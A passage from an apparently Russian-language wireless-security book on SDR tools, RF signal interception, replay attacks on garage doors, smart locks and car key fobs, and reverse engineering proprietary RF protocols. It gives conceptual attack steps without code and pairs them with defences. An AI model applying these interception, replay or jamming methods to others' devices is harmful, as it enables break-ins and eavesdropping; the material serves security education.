RF работает на разных частотах (измеряемых в Герцах, или Гц), и правительства регулируют, какие диапазоны используются для каких целей. Некоторые из ключевых RF-диапазонов включают:
● Низкие частоты (LF) - от 30 кГц до 300 кГц → Используются для RFID-карт доступа и подводной связи.
● Высокие частоты (HF) - от 3 МГц до 30 МГц → Используются в коротковолновом радио и некоторых авиационных системах.
● Очень высокие частоты (VHF) - от 30 МГц до 300 МГц → Используются для FM-радио, авиационной связи и некоторых IoT.
● Ультравысокие частоты (UHF) - от 300 МГц до 3 ГГц → Используются в Wi-Fi, Bluetooth, сотовых сетях и GPS.
● Сверхвысокие частоты (SHF) - от 3 ГГц до 30 ГГц → Используются в спутниковой связи, 5G и радиолокационных системах.

Каждый из этих диапазонов имеет разные риски безопасности, и многие IoT-устройства по-прежнему передают незашифрованные RF-сигналы, что делает их легкой мишенью для злоумышленников с SDR-инструментами.

Что такое программно-определяемое радио (SDR)?

В прошлом для анализа радиосигналов требовалось дорогостоящее громоздкое оборудование. Но SDR меняет правила игры. Он заменяет традиционные радиоприемники и передатчики программно-управляемыми инструментами, позволяя любому принимать, декодировать и манипулировать RF-сигналами, используя только ноутбук и дешевый USB-донгл.

Почему SDR - это круто (и опасно)

✔️ Принимать и анализировать любые RF-сигналы (Wi-Fi, Bluetooth, RFID и т. д.)
✔️ Захватывать и воспроизводить сигналы (например, гаражные ворота, автомобильные ключи или умные замки)
✔️ Перехватывать и декодировать беспроводные передачи
✔️ Подавлять и нарушать работу слабо защищенных RF-соединений (но не делайте этого незаконно!)
✔️ Проводить обратную разработку IoT-протоколов для поиска уязвимостей
Один из самых популярных SDR-инструментов - RTL-SDR - USB-устройство стоимостью 30 долларов, которое может перехватывать RF-сигналы до 1,7 ГГц. Если вам нужна большая мощность, такие инструменты, как HackRF One или BladeRF, позволяют как принимать, так и передавать сигналы, что делает их идеальными для продвинутых исследований безопасности (и, к сожалению, для хакинга).

Почему безопасность радиочастот имеет значение

Большинство беспроводных систем изначально не разрабатывались с учетом безопасности. Многие устройства до сих пор используют незашифрованные радиочастотные передачи, что означает, что злоумышленник с SDR может прослушивать, перехватывать и даже воспроизводить сигналы для получения контроля над устройством. Некоторые реальные примеры эксплуатации радиочастот включают:
● Прослушивание незашифрованных детских радионянь для подслушивания частных разговоров.
● Перехват и клонирование брелоков автомобильных ключей для разблокировки автомобилей.
● Взлом систем умного дома путем перехвата и воспроизведения сигналов дверного звонка или гаражных ворот.
● Подавление беспроводных охранных систем для отключения безопасности без срабатывания сигнализации.
● Перехват пейджеров, используемых в больницах, для кражи конфиденциальных медицинских данных.
Если это не заставит вас параноидально относиться к безопасности радиочастот, я не знаю, что еще сможет.

Заключительные мысли: Радиочастоты повсюду - и в этом проблема

Мир тонет в беспроводных сигналах, и большинство людей понятия не имеют, насколько они небезопасны. SDR дает исследователям безопасности (и хакерам) возможность анализировать, использовать и обеспечивать безопасность радиочастотных коммуникаций, как никогда раньше.
Но с великой силой приходит великая ответственность. То, что вы можете перехватывать радиочастотные сигналы, не означает, что вы должны использовать их во зло. Вместо этого используйте SDR для тестирования и улучшения безопасности, поиска уязвимостей в ваших собственных устройствах и помощи в построении более безопасного беспроводного будущего.
А теперь, если вы меня извините, мне нужно убедиться, что мой собственный умный дверной замок не транслирует свой пароль всему району.

7.2 Перехват и прослушивание радиочастотных сигналов с помощью RTL-SDR​

Бывает ли у вас ощущение, что воздух вокруг вас наполнен невидимыми секретами? Это не паранойя - это радиочастотные сигналы, и они постоянно передают данные между устройствами, часто без шифрования или аутентификации. Если вы когда-нибудь хотели иметь возможность настроиться на эти сигналы, добро пожаловать в мир радиочастотного перехвата! И самое приятное? Вам не нужен суперкомпьютер или секретный правительственный набор инструментов для этого. Представляем RTL-SDR - крошечный USB-донгл за 30 долларов, который превращает ваш ноутбук в швейцарский армейский нож для радиочастот. С его помощью вы можете прослушивать авиационную связь, отслеживать корабли, анализировать передачу данных устройств Интернета вещей и даже перехватывать незашифрованные системы безопасности. Но прежде чем вы станете полным кибершпионом, давайте разберемся, что на самом деле означает радиочастотный перехват и почему это меняет правила игры в исследованиях безопасности беспроводной связи.

Что такое радиочастотный перехват?

Радиочастотный перехват - это процесс захвата и анализа беспроводных сигналов в заданном диапазоне частот. Думайте об этом как о Wireshark для радиоволн - только вместо трафика Wi-Fi вы можете улавливать устройства умного дома, брелоки автомобильных ключей, системы безопасности, метеоспутники и даже пейджерные сообщения из больниц.
Поскольку многие беспроводные устройства транслируют незашифрованные сигналы, злоумышленник (или исследователь безопасности) с SDR может перехватывать, анализировать и даже воспроизводить эти сигналы. Вот почему безопасность радиочастот вызывает огромную озабоченность, особенно в сфере Интернета вещей, где производители часто отдают предпочтение удобству перед шифрованием.

Некоторые распространенные радиочастотные протоколы, которые можно перехватывать с помощью RTL-SDR, включают:
● ADS-B (Автоматическое зависимое наблюдение - широковещание) → Отслеживание самолетов
● AIS (Автоматическая идентификационная система) → Отслеживание судов
● P25 и DMR → Радиосвязь полиции и экстренных служб
● RFID/NFC → Карты доступа, брелоки, системы смарт-оплаты
● Устройства умного дома Интернета вещей (Zigbee, Z-Wave, устройства на 433 МГц) → Беспроводные дверные звонки, сигнализации и дистанционные выключатели
● Пейджинговые сети → Да, больницы и некоторые отрасли до сих пор их используют!
Если это звучит как золотая жила для хакеров, вы абсолютно правы - именно поэтому понимание того, как ответственно перехватывать радиочастотные сигналы, имеет решающее значение для специалистов по кибербезопасности.

Что такое RTL-SDR?

RTL-SDR (Realtek Software Defined Radio) - один из самых доступных и простых в использовании инструментов SDR для беспроводных исследований. Изначально разработанный как донгл для ТВ-тюнера, хакеры и исследователи безопасности быстро поняли, что с правильными драйверами его можно перепрофилировать в мощный радиочастотный приемник.

Почему RTL-SDR так популярен

✔️ Доступность - стоит около 30 долларов
✔️ Широкий диапазон частот - может принимать сигналы от 500 кГц до 1,7 ГГц
✔️ Совместимость со многими программными инструментами - работает с GQRX, SDR#, GNURadio и другими
✔️ Портативность - просто подключите к ноутбуку и начните перехват
Главное ограничение RTL-SDR? Он только для приема, что означает, что вы можете слушать, но не можете передавать сигналы (для этого вам понадобится HackRF One или BladeRF). Однако для пассивных атак, таких как перехват, запись и декодирование, RTL-SDR - это абсолютный зверь.

Перехват радиочастотных сигналов с помощью RTL-SDR

Итак, как же на самом деле захватывать и анализировать радиочастотные сигналы с помощью RTL-SDR? Давайте разберем это.

Шаг 1: Настройка RTL-SDR
Прежде чем мы начнем перехватывать сигналы, нам нужна правильная настройка:
● Купите донгл RTL-SDR (NooElec или RTL-SDR Blog V3 - отличные варианты).
● Установите драйверы RTL-SDR на вашу систему (Windows, Linux или Mac).
● Используйте программный инструмент, такой как SDR# (Windows) или GQRX (Linux/Mac), для визуализации и анализа сигналов.
Подключите подходящую антенну (разные сигналы требуют разных антенн - более высокие частоты требуют более коротких антенн, а более низкие - более длинных).

Шаг 2: Поиск радиочастотных сигналов
Как только ваша настройка заработает, вы можете начать сканирование спектра частот на наличие активных сигналов. Некоторые программные инструменты помогают автоматизировать этот процесс:
● SDR# (Windows) → Отлично подходит для визуализации сигналов.
● GQRX (Linux/Mac) → Аналогично SDR#, но для пользователей Linux/macOS.
● Universal Radio Hacker (URH) → Идеально подходит для декодирования цифровых радиочастотных протоколов.
● Dump1090 → Специализированный инструмент для отслеживания самолетов с помощью сигналов ADS-B.
Используя эти инструменты, вы можете находить активные частоты и начинать запись передач для дальнейшего анализа.

Шаг 3: Декодирование и анализ сигналов
После того как вы захватили некоторые радиочастотные сигналы, следующим шагом является их декодирование. В зависимости от протокола это может включать:
● Использование URH для анализа формы сигнала и извлечения цифровых данных.
● Запуск таких инструментов, как rtl_433, для автоматического декодирования распространенных сигналов Интернета вещей (метеостанции, дистанционные выключатели и т. д.).
● Запись и воспроизведение необработанных радиочастотных данных для проверки уязвимостей (например, незашифрованных брелоков автомобильных ключей).
Многие устройства Интернета вещей и умного дома используют базовые радиочастотные передачи без шифрования, что означает, что злоумышленник может записывать и воспроизводить команды для получения несанкционированного доступа.

Примеры реального радиочастотного перехвата

Чтобы показать вам, насколько мощным может быть RTL-SDR, вот несколько реальных примеров перехваченных радиочастотных сигналов:
● Отслеживание самолетов в реальном времени с использованием сигналов ADS-B (Dump1090).
● Прослушивание радиопередач экстренных служб (P25, DMR и т. д.).
● Перехват незашифрованных сигналов гаражных ворот и их воспроизведение для проникновения.
● Декодирование изображений со спутников погоды непосредственно из космоса.
● Запись пейджерных сообщений в больницах (да, они все еще существуют).
Если что-то из этого заставляет вас задуматься: "Подождите... разве это не должно быть зашифровано?" - да, абсолютно должно. Но многие системы на основе радиочастот до сих пор работают на устаревших, небезопасных протоколах.

Меры защиты: Как защититься от радиочастотного перехвата

Итак, как остановить злоумышленников от использования инструментов SDR против ваших устройств? Вот несколько лучших практик:
✔️ Используйте шифрование - надежные криптографические протоколы (например, AES) делают радиочастотные сигналы нечитаемыми.
✔️ Внедряйте прыгающие частоты - быстрое переключение частот затрудняет отслеживание сигналов.
✔️ Используйте токены аутентификации - это гарантирует, что сигналы поступают от законных источников.
✔️ Обнаруживайте несанкционированные передачи - инструменты мониторинга радиочастот могут выявлять посторонние сигналы.
✔️ Отключайте ненужные радиочастотные устройства - если вам это не нужно, выключите.
Поскольку атаки на основе радиочастот становятся все более распространенными, производителям необходимо уделять приоритетное внимание безопасности своих беспроводных систем. До тех пор исследователи (и хакеры) будут продолжать перехватывать и использовать уязвимые радиочастотные протоколы.

Заключительные мысли: Перехват радиочастот - это весело (но также и кошмар безопасности)

RTL-SDR - один из самых мощных и доступных инструментов для исследований безопасности беспроводной связи. Всего за 30 долларов вы можете исследовать скрытый мир радиочастотных сигналов, от отслеживания самолетов до анализа уязвимостей Интернета вещей.
Но с великой силой приходит великая ответственность - многие системы на основе радиочастот шокирующе небезопасны, и их перехват вызывает серьезные юридические и этические вопросы. Используйте RTL-SDR для исследований, обучения и тестирования безопасности, но всегда соблюдайте законы о конфиденциальности и получайте разрешение перед тестированием реальных систем.
А теперь, если вы меня извините, мне нужно проверить, не транслирует ли мой умный дверной звонок сигналы всему району. Снова.

7.3 Атаки воспроизведения на беспроводные устройства Интернета вещей (гаражные ворота, умные замки)​

Бывает ли у вас ощущение, что взлом в фильмах выглядит слишком сложно? Голливуд создает впечатление, что вам нужен суперкомпьютер, темный капюшон и комната, полная загадочного зеленого кода, чтобы просто взломать систему. На самом деле, иногда взлом так же прост, как нажатие "запись" и "воспроизведение". Именно так работают атаки воспроизведения на беспроводные устройства Интернета вещей. Представьте, что вы стоите снаружи чьего-то дома с беспроводным дверным замком. Вместо того чтобы подбирать пароли или писать сложные эксплойты, вы просто записываете радиосигнал, когда они открывают дверь - а затем позже воспроизводите тот же сигнал, чтобы открыть ее самостоятельно. Никакого сложного дешифрования, никакого перебора, просто старая добрая имитация. Звучит слишком просто, верно? Ну, вы удивитесь, сколько устройств до сих пор попадается на эту уловку.

Что такое атака воспроизведения?

Атака воспроизведения - это когда злоумышленник перехватывает действительную передачу данных и воспроизводит ее позже, чтобы обмануть систему и заставить ее принять ее как законную команду. По сути, это беспроводное копирование и вставка - только вместо Ctrl+C / Ctrl+V мы записываем и ретранслируем радиосигналы.
Для беспроводных устройств Интернета вещей, таких как открыватели гаражных ворот, умные замки и брелоки, атака работает потому, что многие из этих устройств используют статические или слабо защищенные сигналы для передачи команд. Если нет надлежащей аутентификации или шифрования, злоумышленники могут:
● Перехватить исходный сигнал разблокировки/открытия с помощью SDR или радиочастотного сниффера.
● Воспроизвести этот точный сигнал позже для получения несанкционированного доступа.
Это одна из самых простых и эффективных атак на Интернет вещей, и она особенно опасна для устаревших или низкозащищенных устройств.

Как работают атаки воспроизведения на беспроводные устройства Интернета вещей

Шаг 1: Захват сигнала
Для выполнения атаки воспроизведения злоумышленнику сначала необходимо перехватить законную беспроводную передачу. Это можно сделать с помощью:
● RTL-SDR или HackRF One → Для перехвата и записи радиочастотных сигналов.
● Flipper Zero → Портативный мультитул, который может захватывать и воспроизводить распространенные беспроводные сигналы.
● YARD Stick One → Отлично подходит для устройств Интернета вещей в субгигагерцовом диапазоне (315 МГц, 433 МГц и т. д.).
Большинство гаражных ворот, умных замков и дистанционных устройств Интернета вещей работают на частотах 315 МГц или 433 МГц, которые являются нелицензируемыми радиочастотами. Поскольку они общедоступны, любой, у кого есть правильные инструменты, может их прослушивать.

Шаг 2: Анализ сигнала
После захвата передачи злоумышленник анализирует сигнал, чтобы определить, является ли он статическим или основанным на коде с изменением (rolling code):
✔️ Статические коды → Один и тот же сигнал каждый раз (уязвимо для атак воспроизведения)
✔️ Коды с изменением → Сигнал меняется при каждом использовании (гораздо сложнее использовать)
Многие старые гаражные ворота и беспроводные брелоки используют статические коды, что означает, что каждый раз, когда вы нажимаете "открыть", отправляется один и тот же сигнал. Если злоумышленник запишет его один раз, он сможет воспроизводить его вечно.

Шаг 3: Воспроизведение сигнала
Если устройство использует статические коды, злоумышленник может просто ретранслировать записанный сигнал с помощью SDR или радиочастотного передатчика. Целевое устройство не заметит разницы - оно просто увидит действительную команду и выполнит ее.
Например:
● Злоумышленник записывает сигнал разблокировки с беспроводного дверного замка.
● Злоумышленник воспроизводит тот же сигнал позже.
● Дверь разблокируется, как если бы команду отправил исходный пользователь.

Примеры реальных атак воспроизведения

🔑 1. Гаражные ворота и дистанционные брелоки
Многие старые открыватели гаражных ворот и брелоки используют статические радиочастотные сигналы. Злоумышленники могут записать сигнал "открыть" и воспроизвести его позже, получив полный доступ к гаражу жертвы.
🔹 Пример из практики: исследователи безопасности продемонстрировали, как они могли записывать и воспроизводить сигналы со старых открывателей гаражных ворот Chamberlain и LiftMaster, открывая их удаленно без какого-либо перебора или взлома.
🚪 2. Умные замки и беспроводные дверные звонки
Некоторые дешевые умные замки по-прежнему полагаются на незашифрованные команды радиочастот, что означает, что злоумышленник может перехватить и воспроизвести сигнал разблокировки.
🔹 Пример из практики: исследователь обнаружил, что некоторые умные замки на базе Bluetooth принимают воспроизведенные пакеты аутентификации, позволяя злоумышленнику открыть замок, даже если он не был исходным отправителем.
🚗 3. Системы бесключевого доступа автомобилей
Старые системы бесключевого доступа использовали статические сигналы, что означало, что если злоумышленник перехватывал команду разблокировки, он мог воспроизвести ее позже, чтобы разблокировать автомобиль. Новые модели используют коды с изменением, но некоторые бренды имели недостатки в реализации, которые все еще позволяли атаки воспроизведения.
🔹 Пример из практики: в 2016 году исследователи показали, как они могли перехватывать сигналы брелоков Volkswagen и воспроизводить их для разблокировки автомобилей без необходимости наличия оригинального ключа.

Контрмеры: Как защититься от атак воспроизведения

Хорошая новость? Производители становятся умнее. Плохая новость? Многие устаревшие устройства по-прежнему уязвимы. Вот как оставаться в безопасности:

1. Используйте коды с изменением вместо статических кодов
Современные брелоки, умные замки и гаражные ворота используют коды с изменением (также известные как прыгающие коды), что означает, что каждая передача уникальна и не может быть повторно использована. Если вы используете старый открыватель гаражных ворот или пульт дистанционного управления, обновитесь до системы с кодами с изменением, такой как KeeLoq или Security+.
2. Шифруйте беспроводные сигналы
Если устройство Интернета вещей передает незашифрованные сигналы, злоумышленники могут легко их перехватить и воспроизвести. Ищите устройства, которые используют шифрование AES для беспроводных передач.
3. Внедряйте аутентификацию по принципу "запрос-ответ"
Вместо того чтобы слепо принимать любую команду, выглядящую действительной, устройства Интернета вещей должны использовать систему "запрос-ответ", где каждый сигнал требует динамического, непредсказуемого ответа от приемника.
4. Ограничивайте время действия сигналов
Некоторые устройства внедряют аутентификацию на основе временных меток, что означает, что воспроизведение старого сигнала не будет работать через несколько секунд.
5. Мониторинг радиочастотной активности
Используя систему мониторинга радиочастот, вы можете обнаруживать и блокировать подозрительные радиопередачи в вашей области. Такие инструменты, как HackRF, RTL-SDR или специализированные системы обнаружения вторжений, могут предупредить вас, если злоумышленник пытается воспроизвести сигналы.

Заключительные мысли: Является ли ваше устройство Интернета вещей просто радиочастотным попугаем?

Мысль о том, что простой записанный сигнал может открыть ваш гараж, разблокировать ваш автомобиль или отключить вашу систему сигнализации, ужасает - но также полностью избегаема. Атаки воспроизведения процветают благодаря слабым реализациям безопасности, поэтому до тех пор, пока производители шифруют сигналы, используют коды с изменением и внедряют надлежащую аутентификацию, эти атаки становятся значительно сложнее.
Так что, если вы все еще используете тот старый гаражный открыватель ворот из 1998 года, возможно, пришло время для обновления. Если, конечно, вам не нравится предоставлять хакерам свободный доступ в ваш дом.

7.4 Обратное проектирование проприетарных радиочастотных протоколов​

Когда-нибудь пытались подслушать разговор на иностранном языке? Вы улавливаете несколько слов, возможно, знакомые шаблоны, но без словаря или контекста это в основном бессмыслица. Именно так выглядит обратное проектирование проприетарных радиочастотных протоколов - только вместо подслушивания людей мы декодируем сигналы от устройств Интернета вещей, умных замков, пультов дистанционного управления и даже промышленных систем.
Разница? В отличие от человеческих языков, радиочастотные протоколы не предназначены для понимания посторонними. Производители разрабатывают их как скрытые, проприетарные и - по крайней мере, теоретически - безопасные. Но как хакеры, исследователи и любопытные энтузиасты, мы знаем одно: если сигнал может быть передан, его можно перехватить, проанализировать и разобрать. Так что хватайте свои радиочастотные инструменты и давайте погрузимся в увлекательный (и иногда разочаровывающий) мир обратного проектирования радиочастотных протоколов.

Что такое обратное проектирование в радиочастотах?

Обратное проектирование радиочастотного протокола означает разбор структуры и функций беспроводного сигнала для понимания того, как он обменивается данными. Это может включать:
✔️ Определение частоты, модуляции и методов кодирования
✔️ Захват и анализ необработанных радиочастотных сигналов
✔️ Расшифровка структур команд и полезных данных
✔️ Воссоздание или изменение сигналов для управления устройствами
Большинство коммерческих радиочастотных систем используют проприетарные протоколы вместо стандартных, таких как Wi-Fi или Bluetooth. Это означает, что они не следуют общедоступным спецификациям, что затрудняет их анализ, но не делает его невозможным.

Зачем проводить обратное проектирование радиочастотных протоколов?

● Исследование безопасности - поиск уязвимостей в беспроводных устройствах (например, гаражных воротах, умных замках).
● Взаимодействие - обеспечение совместной работы устройств, когда производители не предоставляют поддержку.
● Автоматизация и настройка - управление устройствами Интернета вещей уникальными способами.
● Взлом и эксплойты - выявление слабого шифрования, атак воспроизведения и других уязвимостей безопасности.

Шаг 1: Идентификация радиочастотного сигнала
Прежде чем вы сможете декодировать сигнал, вам нужно его найти. Большинство устройств Интернета вещей и радиочастотных устройств работают в субгигагерцовом диапазоне (например, 315 МГц, 433 МГц, 868 МГц, 915 МГц), в то время как другие используют более высокие частоты, такие как 2,4 ГГц.

Инструменты для идентификации радиочастотных сигналов

🔹 RTL-SDR - доступное программно-определяемое радио (SDR) для сканирования радиочастотных сигналов.
🔹 HackRF One - более продвинутый SDR с более широким диапазоном частот (1 МГц - 6 ГГц).
🔹 Flipper Zero - портативный инструмент для взлома радиочастот со встроенными возможностями декодирования.
🔹 GNU Radio и Universal Radio Hacker (URH) - программное обеспечение с открытым исходным кодом для анализа сигналов.
Используя эти инструменты, вы можете сканировать активные частоты и определять, где устройство передает свои данные.

Шаг 2: Захват и анализ радиочастотных данных
После идентификации частоты следующим шагом является захват необработанных радиочастотных данных и их разбор.
Инструменты для захвата радиочастотных сигналов
🔸 GQRX / SDR# - графические инструменты для захвата прямых радиочастотных передач.
🔸 Universal Radio Hacker (URH) - отлично подходит для анализа протоколов и декодирования.
🔸 Inspectrum - отлично подходит для визуализации модуляции и сдвигов частоты.
С их помощью вы можете записывать сигнал в виде формы волны или необработанных двоичных данных.

Ключевые свойства сигнала для анализа

✔️ Тип модуляции - AM, FM, ASK, FSK, PSK, LoRa и т. д.
✔️ Схема кодирования - Манчестер, NRZ, широтно-импульсная модуляция (ШИМ) и т. д.
✔️ Структура пакета - заголовок, полезная нагрузка, контрольная сумма и т. д.

Шаг 3: Декодирование протокола
После того как у вас есть необработанные радиочастотные данные, пора разобрать структуру протокола.
Распространенные проблемы
🔹 Запутанные или зашифрованные полезные нагрузки - некоторые производители шифруют свои сигналы.
🔹 Переменная длина пакетов - непоследовательные структуры затрудняют декодирование.
🔹 Контрольная сумма и коррекция ошибок - обеспечение действительности пакетов.

Как декодировать радиочастотные сигналы

● Найти повторяющиеся шаблоны - идентифицировать фиксированные заголовки или синхронизирующие слова.
● Разделить команды - определить, какие биты соответствуют конкретным действиям (например, "разблокировать дверь").
● Анализировать механизмы контрольной суммы - некоторые протоколы используют CRC или биты четности.
● Воссоздать сигнал - изменить захваченные сигналы и воспроизвести их.
После того как вы поймете структуру, вы сможете создавать собственные передачи, изменять команды или даже разрабатывать пользовательские инструменты для взаимодействия с устройством.

Шаг 4: Воспроизведение и использование радиочастотных сигналов
После декодирования протокола начинается самое интересное - тестирование уязвимостей. Многие проприетарные радиочастотные устройства не имеют надежной аутентификации или используют статические коды, что делает их уязвимыми для:
🔺 Атаки воспроизведения - запись передачи и ее воспроизведение для управления устройством.
🔺 Атаки спуфинга - генерация поддельных сигналов для выдачи себя за законного отправителя.
🔺 Атаки перебора - перебор возможных вариаций сигналов.
Пример из реальной жизни: взлом умного замка
● Захватить сигнал "разблокировки" с беспроводного умного замка.
● Проанализировать его частоту, модуляцию и кодирование.
● Определить, является ли команда статической или основанной на коде с изменением.
● Если статическая, просто воспроизвести сигнал для разблокировки двери.
● Если основана на коде с изменением, искать предсказуемые слабости в генерации кода.

Исследования в области обратного инжиниринга РЧ-протоколов

🔓 Взлом гаражных ворот
Многие старые гаражные ворота используют статические коды. Хакер с SDR может перехватить и воспроизвести сигнал "открыть", полностью обойдя защиту.
🚘 Уязвимости бесключевого доступа к автомобилям
Некоторые автомобили с системами бесключевого доступа имели недостатки в реализации динамических кодов, позволяя злоумышленникам методом перебора находить действительные команды разблокировки.
🏠 Взломанные устройства умного дома
Исследователи обнаружили, что некоторые устройства Zigbee и проприетарные IoT-устройства не шифровали свои передачи, что позволяло осуществлять удаленное управление с помощью пользовательских РЧ-сигналов.

Защита от атак обратного инжиниринга РЧ-протоколов

Если устройство полагается только на скрытность, оно уязвимо для обратного инжиниринга. Для повышения безопасности производителям следует:
✔️ Использовать надежное шифрование - Убедиться, что передаваемые данные шифруются с помощью AES или аналогичных алгоритмов.
✔️ Внедрять динамические коды - Предотвращать атаки повторного воспроизведения с помощью динамической аутентификации.
✔️ Добавлять механизмы сопряжения устройств - Аутентифицировать перед приемом команд.
✔️ Использовать скачкообразное изменение частоты - Динамически менять частоты передачи.
✔️ Мониторить РЧ-трафик - Обнаруживать необычные сигналы с помощью систем обнаружения вторжений.Заключительные мысли: Расшифровка секретов эфира
Обратный инжиниринг РЧ-протоколов подобен изучению инопланетного языка - поначалу это просто шум, но с правильными инструментами и терпением вы начинаете видеть закономерности, понимать команды и в конечном итоге получать полный контроль.
От гаражных ворот до умных замков, от автомобилей до промышленных систем - проприетарные РЧ-протоколы изобилуют уязвимостями безопасности, и наша задача как хакеров, исследователей и инженеров - выявить их до того, как это сделают злоумышленники.
Так что в следующий раз, когда вы увидите пульт дистанционного управления, беспроводной датчик или таинственный РЧ-сигнал на своем SDR, спросите себя: "Какие секреты он скрывает?"

7.5 Защита устройств на базе РЧ от эксплойтов​

Я понимаю - взлом РЧ-устройств - это весело. Кто бы не хотел открыть гараж соседа клонированным сигналом или устроить переполох с умным холодильником через улицу? (Я не призываю к этому... или призываю?) Но хотя РЧ-взлом отлично подходит для развлекательных демонстраций на конференциях по безопасности, реальные риски - это не шутки. От систем умного дома до промышленных IoT-устройств - РЧ-связь изобилует уязвимостями. И как бы мы ни любили ломать вещи, наша обязанность - помочь их исправить или, по крайней мере, усложнить жизнь плохим парням. 🤨
Итак, независимо от того, являетесь ли вы исследователем безопасности, пентестером или разработчиком IoT, эта глава посвящена защите РЧ-устройств и предотвращению распространенных атак. Давайте разберемся, как обезопасить РЧ-системы, прежде чем кто-то превратит ваш модный умный замок в "политику открытых дверей".

Понимание уязвимостей безопасности РЧ-устройств

Прежде чем исправлять безопасность РЧ, нам нужно понять, где возникают проблемы. Большинство эксплойтов на базе РЧ происходят из-за этих пяти критических проблем:
● Отсутствие шифрования - Многие РЧ-устройства передают команды в открытом виде, что облегчает их перехват и повторное воспроизведение.
● Статические коды и команды - Если устройство каждый раз отправляет одну и ту же команду (например, "разблокировать дверь"), злоумышленник может записать и воспроизвести ее.
● Слабая аутентификация - Некоторые системы не проверяют, исходит ли сигнал от доверенного источника, что позволяет несанкционированный доступ.
● Отсутствие проверок целостности сигнала - Многие РЧ-протоколы не используют надежные контрольные суммы или криптографические проверки, что делает их уязвимыми для спуфинга.
● Недостаточная защита от глушения - Злоумышленники могут глушить легитимные сигналы и приводить устройства в безопасные режимы (или, что хуже, заставлять их делать что-то непреднамеренное).
Теперь, когда мы знаем распространенные недостатки, давайте посмотрим, как от них защититься.

Шаг 1: Внедрение надежного шифрования
Прежде всего, шифруйте все. Серьезно. Если ваши РЧ-сигналы не зашифрованы, вы можете кричать код от своего гаража на весь район.
Лучшие практики шифрования для РЧ-устройств:
✔️ Используйте шифрование AES-128 или AES-256 для передачи РЧ-данных.
✔️ Шифруйте полезную нагрузку, а не только заголовки команд.
✔️ Избегайте самодельного шифрования - злоумышленники взломают его за считанные минуты.
✔️ Используйте сквозное шифрование (E2EE) между РЧ-устройствами и базовыми станциями.
Шифрование предотвращает чтение, изменение или повторное воспроизведение сигналов злоумышленниками. Если они перехватят передачу, все, что они получат, - это зашифрованный мусор вместо полезных данных.

Шаг 2: Использование динамических кодов для предотвращения атак повторного воспроизведения
Статические РЧ-команды - мечта хакера: просто запиши, воспроизведи, и вуаля! Доступ получен. Для противодействия этому устройства должны использовать динамические коды (также известные как прыгающие коды).
Как работают динамические коды:
🔹 Каждый раз, когда РЧ-устройство отправляет команду (например, "разблокировать автомобиль"), оно генерирует новый уникальный код.
🔹 Приемник проверяет код и принимает его только один раз.
🔹 Даже если злоумышленник запишет передачу, повторное воспроизведение позже не сработает.
🔹 Пример: Современные брелоки автомобилей используют динамические коды Keeloq, что делает их гораздо более сложными для клонирования, чем старые пульты с фиксированным кодом.
✅ Совет: Убедитесь, что динамические коды имеют большое пространство ключей для предотвращения атак перебора.

Шаг 3: Внедрение взаимной аутентификации
Большинство РЧ-устройств бездумно принимают команды из любого источника. Это огромный риск безопасности: если ваше устройство не проверяет, кто отправляет сигнал, злоумышленники могут выдавать себя за легитимных передатчиков.
Как внедрить аутентификацию:✔️ Используйте общие секреты между РЧ-передатчиками и приемниками.
✔️ Внедряйте аутентификацию по принципу "вызов-ответ" (например, криптографические рукопожатия).
✔️ Требуйте сопряжения устройств перед разрешением связи.
🔹 Пример: Безопасные NFC-платежи требуют аутентификации перед обработкой транзакций, предотвращая несанкционированные попытки чтения/записи.
Бонус: Объедините аутентификацию с динамическими кодами для двойной защиты.

Шаг 4: Проверка целостности сигнала для обнаружения спуфинга
Некоторые РЧ-протоколы не проверяют целостность сигнала, позволяя злоумышленникам изменять команды или подделывать передачи. Для противодействия этому используйте методы проверки целостности, такие как:
✔️ Коды аутентификации сообщений (MAC) - Убедитесь, что сообщения поступают из доверенного источника.
✔️ Цифровые подписи - Криптографически подписывайте РЧ-передачи для предотвращения подделки.
✔️ Контрольные суммы и CRC - Обнаруживайте случайные ошибки и повреждение сигнала.
🔹 Пример: Zigbee и LoRaWAN используют криптографические подписи для проверки того, что данные не были изменены.

Шаг 5: Защита от атак глушения РЧ
Атаки глушения РЧ - досадно простые, но опасно эффективные. Хакер с дешевым генератором РЧ-сигнала может затопить эфир и заблокировать легитимные передачи, вызывая атаки типа "отказ в обслуживании" (DoS) на IoT-устройства, умные замки или даже медицинское оборудование.
Стратегии защиты от глушения:✔️ Расширенный спектр с псевдослучайной перестройкой частоты (FHSS) - Устройства автоматически переключают частоты, затрудняя глушение.
✔️ Адаптивное управление мощностью - Увеличивайте мощность передачи при обнаружении помех.
✔️ Обнаружение глушения и оповещение - Используйте инструменты мониторинга РЧ для выявления попыток глушения.
🔹 Пример: Военные радиостанции используют FHSS для избежания глушения, что делает их более устойчивыми в зонах боевых действий.

Шаг 6: Мониторинг и логирование РЧ-активности
Если вы не отслеживаете свою РЧ-среду, вы не узнаете, когда подвергаетесь атаке. Настройте системы обнаружения вторжений в РЧ-диапазоне (RF-IDS) для мониторинга подозрительных сигналов и аномалий.
Ключевые особенности систем мониторинга РЧ:
✔️ Обнаружение несанкционированных передач на критических частотах.
✔️ Логирование подозрительной РЧ-активности для криминалистического анализа.
✔️ Оповещение групп безопасности при возникновении потенциальных атак.
🔹 Пример: Камеры видеонаблюдения с беспроводной связью должны обнаруживать неожиданные сигналы, которые могут указывать на наличие глушителя или постороннего устройства поблизости.

Заключительные мысли: Защита РЧ - это бесконечная битва

Будем честны: ни одна система безопасности не является на 100% невзламываемой. Все, что мы можем сделать, - это сделать РЧ-эксплойты настолько сложными и трудоемкими, чтобы хакеры переключились на более легкие цели. Шифруя передачи, используя динамические коды, обеспечивая аутентификацию, проверяя целостность сигнала, защищаясь от глушения и отслеживая РЧ-активность, мы можем значительно снизить риск атак. Но помните: безопасность - это не одноразовое исправление. Новые методы РЧ-взлома появляются постоянно, и наша задача как специалистов по безопасности, разработчиков и этичных хакеров - быть на шаг впереди.
Так что, независимо от того, разрабатываете ли вы IoT-устройство, защищаете систему умного дома или просто копаетесь в SDR-инструментах, всегда думайте как хакер - потому что если вы этого не сделаете, кто-то другой сделает это за вас.


Глава 8: Эксплойты NFC, RFID и бесконтактных устройств​

Вы когда-нибудь касались кредитной картой терминала в магазине и думали: "А что, если кто-то другой сможет сделать то же самое - без моей карты?" Спойлер: может. Технологии NFC и RFID используются повсеместно: от платежей до систем контроля доступа, но с помощью правильных инструментов хакеры могут клонировать, подделывать и даже полностью обходить меры безопасности.
